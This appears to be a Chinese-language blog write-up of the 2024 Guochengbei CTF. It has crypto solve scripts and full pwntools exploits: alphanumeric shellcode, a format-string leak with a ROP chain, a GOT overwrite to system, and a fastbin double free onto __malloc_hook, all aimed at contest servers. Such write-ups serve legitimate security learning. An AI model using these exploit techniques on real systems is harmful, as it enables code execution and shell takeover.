2024国城杯 WriteUp

Crypto

babyRSA

看到n=p·p·q以及给了d

那么就是

变种RSA——SchmidtSamoa

套脚本

from gmpy2 import *
from Crypto.Util.number import *

def getPQ(pub, priv):
    return gmpy2.gcd(pub, gmpy2.powmod(2, pub*priv, pub)-2)


def decrypt(pub, priv, enc):
    return gmpy2.powmod(enc, priv, getPQ(pub, priv))

n = 
d = 
c = 


pq = getPQ(n, d)
m = decrypt(n, d, c)
print(long_to_bytes(m).decode())

flag

D0g3xGC{W1sh_Y0u_Go0d_L@ucK-111}

Curve

还没学ecc,只好在github上找一下有无相似的题目

搜索关键代码块

(a*gx^2+gy^2)%p==(1+d*gx^2*gy^2)%p

image-20241207172359039

下载下来然后阅读

image-20241207172504682

image-20241207172443363

有类似的题目

套脚本

# sagemath
from Crypto.Util.number import *

p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 7
c = 1
e = 0x10001

eG = 
F = GF(p)

A = (2 * (a + d)) / (a - d)
B = 4 / (a - d)
a = (3 - A ^ 2) / (3 * B ^ 2)
b = (2 * A ^ 3 - 9 * A) / (27 * B ^ 3)


def TEd_to_ECC(x, y):
    x1 = F(1 + y) / F(1 - y)
    y1 = F(x1) / F(x)
    u = F(x1) / F(B) + F(A) / F(3 * B)
    v = F(y1) / F(B)
    return (u, v)


def ECC_to_TEd(x, y):
    x1 = F(B) * F(x) - F(A) / F(3)
    y1 = F(B) * F(y)
    u = F(x1) / F(y1)
    v = (F(x1) - F(1)) / (F(x1) + F(1))
    return (u, v)


E = EllipticCurve(F, [a, b])
o = E.order()
eG = E(TEd_to_ECC(eG[0], eG[1]))
t = inverse(e, o)
G = ECC_to_TEd((t * eG)[0], (t * eG)[1])

print(long_to_bytes(int(G[0])))

椭圆曲线

flag

D0g3xGC{SOlvE_The_Edcurv3}

Web

1.问卷

image-20241207170743328

Pwn

1.Alpha_Shell

有花指令,去花后反编译查看

image-20241207163818223

限制大小写字母+数字。

沙箱

image-20241207163840376

没有过滤 sendfileopenat

AE64 生成可见字符 payload 发送即可。

exp:

from pwn import * 
from ae64 import AE64
context(arch='amd64',os='linux')
p=remote('125.70.243.22',31135)
#p=process('./pwn')
#p=process(["seccomp-tools", "dump", "./pwn"])
#gdb.attach(p)
#pause()
p.recvuntil('!')
payload = shellcraft.openat(-100,"flag",0)
payload += shellcraft.sendfile(1,3,0,50)
payload = AE64().encode(asm(payload),"rdx")
print(payload)
p.send(payload)
p.interactive()

2.Offensive_Security

给了两个文件 attachmentlib2shell.so

attachment的逻辑:

image-20241207164120471

lib2shell.so

image-20241207164210574

利用格式化字符串漏洞泄露 password 地址(0x6002b0)

64位注意地址隔断把地址放后面。

然后是 vuln 函数

image-20241207164315319

条件竞争漏洞,

其中在 guess 中可以直接修改 au..code

最后是 shell 函数

image-20241207164402925

给了一个溢出。

注意 attachment 的gadget

image-20241207164427132

这里参考 栈溢出练习:ROP Emporium - 我可是会飞的啊

本题的 al 初值经过测试确定为 0

exp:

from pwn import * 
context(log_level='debug')
context(arch='amd64')
p=remote('125.70.243.22',31633)
elf=ELF('./pwn')
#p=process('./pwn')
p.recvuntil('Username:') 
pwd=0x6002b0
payload=b'%9$saaab'+p64(pwd)
p.send(payload)
p.recvuntil('Welcome, \n')
pswd=u64(p.recv(8))
out=0x400644
log.success('password = '+hex(pswd))
p.recvuntil('[!] Please input your password:')
p.send(p64(pswd))
#pause()
p.recvuntil('[!] Guess the authentication code?\n')
p.sendline(str('1'))
p.recvuntil('[!] Please enter your authentication code: ')
p.sendline(str('1'))
p.recvuntil('Login success!')
p.recvuntil('>\n')
#pause()
pop_rdi_ret = 0x0000000000400661       # : pop rdi ; ret
stosb_rdi_al_ret = 0x000000000040065f   # : stosb byte ptr [rdi], al ; ret
xlatb_ret = 0x000000000040064E          # : xlat ; ret
bextr_ret = 0x0000000000400650

padding = b'A' * 0x28

bufffer = 0x600800
print_file = 0x000000000400647

def set_rbx(b:int):
    p = b""
    p += pack(bextr_ret)
    p += pack(0xE000)
    p += pack(b - 0x0D093)
    return p

def set_al(a:bytes,offset:int):
    tmp = next(elf.search(a)) - offset
    #print(hex(tmp))
    p = pack(xlatb_ret)
    return set_rbx(tmp) + p

is_first = True
def save_al(val:bytes,offset:int):
    global is_first
    p = b""
    if is_first:
        p += pack(pop_rdi_ret)
        p += pack(bufffer)
        is_first = False
    p += pack(stosb_rdi_al_ret)
    return set_al(val,offset) + p

def write_str(s:bytes):
    p=b""
    last_al = 0
    for i in s:
        p += save_al(p8(i),last_al)
        last_al = i
    return p


payload = write_str(b"flag")
payload += pack(pop_rdi_ret)
payload += pack(bufffer)
payload += pack(print_file)

p.sendline(padding + payload)

p.recvuntil(b'}')

p.interactive()

3.beverage store

(刚开始patchelf后运行直接段错误遂弃,后面附件修复后开始做,打通了远程的flag交不上也是很逗hh)

第一部分

image-20241207164720474

注意 strcpy 以及 buf 的读入长度

image-20241207164830925

这里可以直接覆盖 seed 从而绕过伪随机。

第二部分:

image-20241207164852809

这里是一个数组索引越界,保护是 partial relro。

先把 exit 的 plt 表改成 buy 函数,从而实现无限利用。

接着就是泄露 libc ,改 printf 为 system,

然后 exit 改成 vuln 函数 getshell。

image-20241207165141122

exp:

from pwn import * 
p=remote('125.70.243.22',31894)
#p=process('./pwn')
libc=ELF('./libc.so.6')
elf=ELF('./pwn')
p.recvuntil(b'id')
#gdb.attach(p)
context(log_level='debug')
p.send(b'a'*8+b'1'*8)
p.recvuntil(b'code:')
p.sendline(str(1366868856))
p.recvuntil(b'4 wine')
p.sendline(str(-4))
p.recvuntil(b'choose')
main=0x40133b
p.send(p64(main)+p64(elf.got['rand']))
p.recvuntil(b'4 wine')
p.sendline(str(-5))
p.recvuntil(b'choose')
p.send(b'a'*7+b'b')
p.recvuntil(b'succeed\n')
p.recvuntil(b'b')
libc.address=u64(p.recv(6).ljust(8,b'\x00'))-0x62090
#addr=u64(p.recv(6).ljust(8,b'\x00'))
log.success('libc =' +hex(libc.address))
p.recvuntil(b'4 wine')
p.sendline(str(-7))
p.recvuntil(b'choose')
p.send(p64(libc.sym['system']))
p.recvuntil(b'4 wine')
p.sendline(str(-4))
pause()
p.recvuntil(b'choose')
p.send(p64(0x401511))
p.interactive()
#p.recvuntil('succeed')

4.vtable_hijack

虽然保护全开,但是 低版本 libc + uaf + 堆溢出。

image-20241207165257167

image-20241207165304812

unsortedbin 泄露 main_arena 得 libc 基址,fastbin double free 打 malloc_hook ,覆盖为 one_gadget 即可。

exp:

from pwn import * 
p=remote('125.70.243.22',31369)
#p=process('./pwn')
libc=ELF('./libc.so.6')
context(log_level='debug')
def menu(i) :
	p.sendlineafter('choice:',str(i))
def add(idx,size) :
	menu(1)
	p.sendlineafter(':',str(idx))
	p.sendlineafter(':',str(size))
def free(idx) :
	menu(2)	
	p.sendlineafter(':',str(idx))
def edit(idx,size,content) :
	menu(3)	
	p.sendlineafter(':',str(idx))
	p.sendlineafter(':',str(size))
	p.sendlineafter(':',content)
def show(idx) :
	menu(4)	
	p.sendlineafter(':',str(idx))
add(0,0x100)
add(1,0x20)
free(0)
show(0)
p.recv(1)
libc.address = u64(p.recv(6).ljust(0x8,b'\x00'))-0x39bb78
log.success('libc = '+hex(libc.address))
pause()
add(0,0x100)
add(2,0x68)
add(3,0x68)
free(2)
free(3)
free(2)
#gdb.attach(p)
add(2,0x68)
edit(2,0x8,p64(libc.sym['__malloc_hook']-0x23))
#pause()
add(4,0x68)
add(5,0x68)
add(6,0x68)
ogg = [0x3f3e6,0x3f43a,0xd5c07]
edit(6,0x68,b'\x00'*0x13+p64(ogg[2]+libc.address))
add(7,0x68)
p.interactive()
posted @ 2024-12-08 10:41  Sevedy  阅读(203)  评论(1编辑  收藏  举报